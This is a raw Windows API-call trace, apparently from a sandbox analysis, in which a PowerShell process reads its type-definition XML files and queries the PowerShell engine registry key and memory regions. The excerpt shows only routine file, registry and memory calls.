[0039.311] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1f85568 | out: lpFileInformation=0x1f85568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1
[0039.311] GetLastError () returned 0x0
[0039.311] SetErrorMode (uMode=0x1) returned 0x1
[0039.312] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
[0039.312] GetLastError () returned 0x0
[0039.312] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e6d8 | out: phkResult=0x16e6d8*=0x334) returned 0x0
[0039.313] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e720, lpData=0x0, lpcbData=0x16e71c*=0x0 | out: lpType=0x16e720*=0x1, lpData=0x0, lpcbData=0x16e71c*=0x56) returned 0x0
[0039.313] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e720, lpData=0x365310, lpcbData=0x16e71c*=0x56 | out: lpType=0x16e720*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e71c*=0x56) returned 0x0
[0039.313] RegCloseKey (hKey=0x334) returned 0x0
[0039.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
[0039.313] GetLastError () returned 0x0
[0039.313] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e214, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40
[0039.313] GetLastError () returned 0x0
[0039.369] GetSystemInfo (in: lpSystemInfo=0x16de58 | out: lpSystemInfo=0x16de58*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x2, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03))
[0039.371] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.397] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
[0039.397] GetLastError () returned 0x0
[0039.397] SetErrorMode (uMode=0x1) returned 0x1
[0039.397] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x334
[0039.398] GetLastError () returned 0x0
[0039.398] GetFileType (hFile=0x334) returned 0x1
[0039.398] SetErrorMode (uMode=0x1) returned 0x1
[0039.398] GetFileType (hFile=0x334) returned 0x1
[0039.398] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.401] GetLastError () returned 0x0
[0039.401] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.401] GetLastError () returned 0x0
[0039.401] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.401] GetLastError () returned 0x0
[0039.402] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.402] GetLastError () returned 0x0
[0039.402] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.402] GetLastError () returned 0x0
[0039.404] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.404] GetLastError () returned 0x0
[0039.404] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.404] GetLastError () returned 0x0
[0039.404] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.404] GetLastError () returned 0x0
[0039.404] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.404] GetLastError () returned 0x0
[0039.405] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.405] GetLastError () returned 0x0
[0039.405] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.405] GetLastError () returned 0x0
[0039.405] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.406] GetLastError () returned 0x0
[0039.406] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.406] GetLastError () returned 0x0
[0039.406] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.406] GetLastError () returned 0x0
[0039.406] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.406] GetLastError () returned 0x0
[0039.406] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.406] GetLastError () returned 0x0
[0039.406] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.407] GetLastError () returned 0x0
[0039.409] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.409] GetLastError () returned 0x0
[0039.409] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.409] GetLastError () returned 0x0
[0039.409] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.409] GetLastError () returned 0x0
[0039.410] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.410] GetLastError () returned 0x0
[0039.410] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.410] GetLastError () returned 0x0
[0039.410] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.410] GetLastError () returned 0x0
[0039.410] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.410] GetLastError () returned 0x0
[0039.410] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.410] GetLastError () returned 0x0
[0039.411] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.411] GetLastError () returned 0x0
[0039.411] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.411] GetLastError () returned 0x0
[0039.411] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.411] GetLastError () returned 0x0
[0039.411] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.411] GetLastError () returned 0x0
[0039.412] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.412] GetLastError () returned 0x0
[0039.412] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.412] GetLastError () returned 0x0
[0039.412] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.412] GetLastError () returned 0x0
[0039.412] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.412] GetLastError () returned 0x0
[0039.417] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.417] GetLastError () returned 0x0
[0039.417] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.417] GetLastError () returned 0x0
[0039.417] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.417] GetLastError () returned 0x0
[0039.417] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.417] GetLastError () returned 0x0
[0039.417] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.418] GetLastError () returned 0x0
[0039.418] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.418] GetLastError () returned 0x0
[0039.418] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.418] GetLastError () returned 0x0
[0039.418] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1000, lpOverlapped=0x0) returned 1
[0039.418] GetLastError () returned 0x0
[0039.418] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x1b4, lpOverlapped=0x0) returned 1
[0039.418] GetLastError () returned 0x0
[0039.418] ReadFile (in: hFile=0x334, lpBuffer=0x1fb9984, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e754, lpOverlapped=0x0 | out: lpBuffer=0x1fb9984*, lpNumberOfBytesRead=0x16e754*=0x0, lpOverlapped=0x0) returned 1
[0039.418] GetLastError () returned 0x0
[0039.418] CloseHandle (hObject=0x334) returned 1
[0039.419] GetLastError () returned 0x0
[0039.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
[0039.419] GetLastError () returned 0x0
[0039.419] SetErrorMode (uMode=0x1) returned 0x1
[0039.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1fda214 | out: lpFileInformation=0x1fda214*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1
[0039.419] GetLastError () returned 0x0
[0039.419] SetErrorMode (uMode=0x1) returned 0x1
[0039.419] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
[0039.419] GetLastError () returned 0x0
[0039.419] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e6d8 | out: phkResult=0x16e6d8*=0x334) returned 0x0
[0039.420] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e720, lpData=0x0, lpcbData=0x16e71c*=0x0 | out: lpType=0x16e720*=0x1, lpData=0x0, lpcbData=0x16e71c*=0x56) returned 0x0
[0039.420] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e720, lpData=0x365310, lpcbData=0x16e71c*=0x56 | out: lpType=0x16e720*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e71c*=0x56) returned 0x0
[0039.420] RegCloseKey (hKey=0x334) returned 0x0
[0039.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
[0039.420] GetLastError () returned 0x0
[0039.420] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e214, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37
[0039.420] GetLastError () returned 0x0
[0039.579] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.608] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.610] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.611] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.611] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.611] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.612] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.615] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.631] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.631] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.632] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.632] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.632] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.632] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.633] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.633] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.639] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.643] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.644] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.645] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.645] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.646] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.647] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.647] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.647] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.649] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
